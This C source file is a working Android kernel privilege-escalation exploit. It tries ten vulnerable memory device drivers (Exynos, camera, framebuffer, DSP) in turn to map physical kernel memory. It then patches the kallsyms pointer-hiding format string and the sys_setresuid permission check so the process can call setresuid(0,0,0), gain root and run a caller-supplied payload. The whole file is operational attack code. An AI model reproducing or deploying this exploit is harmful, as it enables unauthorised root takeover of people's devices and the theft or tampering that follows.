#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <exploit.h>
#include <kallsyms_in_memory.h>
#include <kallsyms.h>

#define MEMORY_OFFSET 0x40000000


/*******************************************/
/************* EXPLOIT STRUCTURES **********/
/*******************************************/

struct exploit sam      = {SAM_EXP,       "/dev/exynos-mem",         -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &set_offset,   (void*) &finalize_exynos};
struct exploit aragorn  = {ARAGORN_EXP,   "/dev/video1",             -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &init_aragorn, (void*) &sleep_func};
struct exploit gimli    = {GIMLI_EXP,     "/dev/DspBridge",          -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &set_offset,   (void*) &sleep_func};
struct exploit merry    = {MERRY_EXP,     "/dev/s5p-smem",           -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &set_offset,   (void*) &sleep_func};
struct exploit frodo    = {FRODO_EXP,     "/dev/exynos-mem",         -1, -1, 0xfffff000, 0x50000000,  0, NULL,                      (void*) &init_frodo,   (void*) &finalize_exynos};
struct exploit legolas  = {LEGOLAS_EXP,   "/dev/graphics/fb5",       -1, -1, 0,          0xa00000,    0, NULL,                      (void*) &init_legolas, (void*) &sleep_func};
struct exploit gandalf  = {GANDALF_EXP,   "/dev/msm_camera/config0", -1, -1, 0,          0x1000000,   0, (void*) &pre_init_gandalf, (void*) &init_gandalf, (void*) &sleep_func};
struct exploit boromir  = {BOROMIR_EXP,   "/dev/camera-isp",         -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &set_offset,   (void*) &sleep_func};
struct exploit boromir2 = {BOROMIR2_EXP,  "/dev/camera-eis",         -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &set_offset,   (void*) &sleep_func};
struct exploit boromir3 = {BOROMIR3_EXP,  "/dev/camera-sysram",      -1, -1, 0,          0x1000000,   0, NULL,                      (void*) &set_offset,   (void*) &sleep_func};


// Exploit global array
struct exploit* exp_list[] = {
  &sam,
  &aragorn,
  &gimli,
  &merry,
  &frodo,
  &legolas,
  &gandalf,
  &boromir,
  &boromir2,
  &boromir3
  };

struct exploit* exp_list[];

struct restore_fmt {
  unsigned long *ptr_fmt;
  unsigned long  ptr_fmt_value;
};


int main(int argc, char **argv) {

  exploit(argc, argv);

}



// Run everything
int exploit(int args, char **cmd) {
  int ret, i;
  
  for(i = 0; i < (sizeof(exp_list)/4); i++) {
    ret = exec_exploit(exp_list[i], args, cmd);
    if(ret)
      break;
  }

  return ret;

}


void cleanup(struct exploit *exp) {

  if(exp->fd >= 0) {
    close(exp->fd);
    exp->fd = -1;
  }

  if(exp->fd2 >= 0) {
    close(exp->fd2);
    exp->fd2 = -1;
  }
}


int exec_exploit(struct exploit *exp, int args, char **cmd) {

  FILE *f;
  int fd, ret, m, length, index;
  char line[512];
  char *str = NULL;
  char *ptr = NULL;
  unsigned long *paddr = NULL;
  unsigned long *tmp = NULL;
  unsigned long *restore_ptr_setresuid = NULL;
  unsigned long addr_sym = 0;
  unsigned long tmp2 = 0;
  unsigned long start_offset = 0;
  unsigned long *new_offset = NULL;
  bool found = false;
  struct restore_fmt r_fmt = { NULL, 0};
  struct stat device_info;


  // Check if the vulnerable device exists
  if(stat(exp->dev, &device_info) < 0) {
    cleanup(exp);
    return 0;
  }
  

  // Exec pre_init function if defined
  if(exp->pre_init != NULL) {
    if(!exp->pre_init(exp)) {
      cleanup(exp);
      return 0;
    }
  }

  fd = open(exp->dev, O_RDWR);
  if(fd < 0) {
    cleanup(exp);
    return 0;
  }

  exp->fd = fd;

  // Exec init function
  ret = exp->init(exp);
  if(!ret) {
    cleanup(exp);
    return 0;
  }
  
  length = exp->length;
  start_offset = exp->start_offset;
  /* Map the required kernel physical memory */
  paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset);

  new_offset = paddr;
  if(start_offset) 
    new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2));

  tmp = new_offset;
  
  if (paddr == MAP_FAILED) {
    cleanup(exp);
    return 0;
  }  

  f = fopen("/proc/kallsyms", "r");
  if(!f) {
    cleanup(exp);
    return 0;
  }

  memset(line, 0, sizeof(line));
  if(!(fgets(line, sizeof(line), f))) {
    cleanup(exp);
    return 0;
  }

  str = strtok(line, " ");
  // Check if it is already possible to read kernel symbols from kallsyms
  if(!strtoul(str, NULL, 16)) {

    if((exp->length - 12) == 0) {
      cleanup(exp);
      return 0;
    }

    // Use libkallsyms first
    if(kallsyms_in_memory_init(tmp, exp->length))
      addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid");

    // If libkallsyms failed try a second method
    if(!addr_sym) {
    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */


      for(m = 0; m < (length - 12); m += 4) {
	if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) {
	  r_fmt.ptr_fmt = (unsigned long *)tmp;
	  r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
	  *(unsigned long*)tmp = 0x20207025;
	  found = true;
	  break;	
	}
      
	else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) {
	  r_fmt.ptr_fmt = (unsigned long *)(tmp+1);
	  r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1);
	  *(unsigned long*)(tmp+1) = 0x63252020;
	  found = true;
	  break;
	}
      
	else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) {
	  r_fmt.ptr_fmt = (unsigned long *)tmp;
	  r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
	  *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff;
	  found = true;
	  break;
	}
	else 
	  tmp++;
      }

      if (found == false) {
	cleanup(exp);
	return 0;
      }     
    
    fclose(f);
    
    // Now we should be able to read /proc/kallsyms
    addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");
    }
  }

  // If kallsysms is already mapped use it
  else
    addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");

  if(!addr_sym) {
    cleanup(exp);
    return 0;
  } 

  if(addr_sym) {
    tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2;
    tmp2 = tmp2 << 2;
    tmp2 += (unsigned long) new_offset;
    tmp = (unsigned long *)tmp2;

    for(m = 0; m < 128; m += 4) {
      // Search the cmp $r0, 0 check in the mapped sys_setresuid function
      if (*(unsigned long *)tmp == 0xe3500000) {
	// Patch with a cmp $r0, 1 instraction
	restore_ptr_setresuid = tmp;
	*(unsigned long *)tmp = 0xe3500001;
	break;
      }
      tmp++;
    }
  }

  // Finalize
  if(!exp->finalize(exp)) {
    cleanup(exp);
    return 0;
  }

  /* ask for root */
  ret = setresuid(0, 0, 0);

  if(ret) {
    cleanup(exp);
    return 0;
  }

  // If everything was ok we are root now
  exec_payload(args, cmd);

  /* restore memory */
  if(r_fmt.ptr_fmt != NULL)
    *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value;

  if(restore_ptr_setresuid != NULL)
    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;

  msync(paddr, length, 4);
  munmap(paddr, length);
  close(fd);

  if(exp->fd2)
    close(exp->fd2);

  return 1;
}



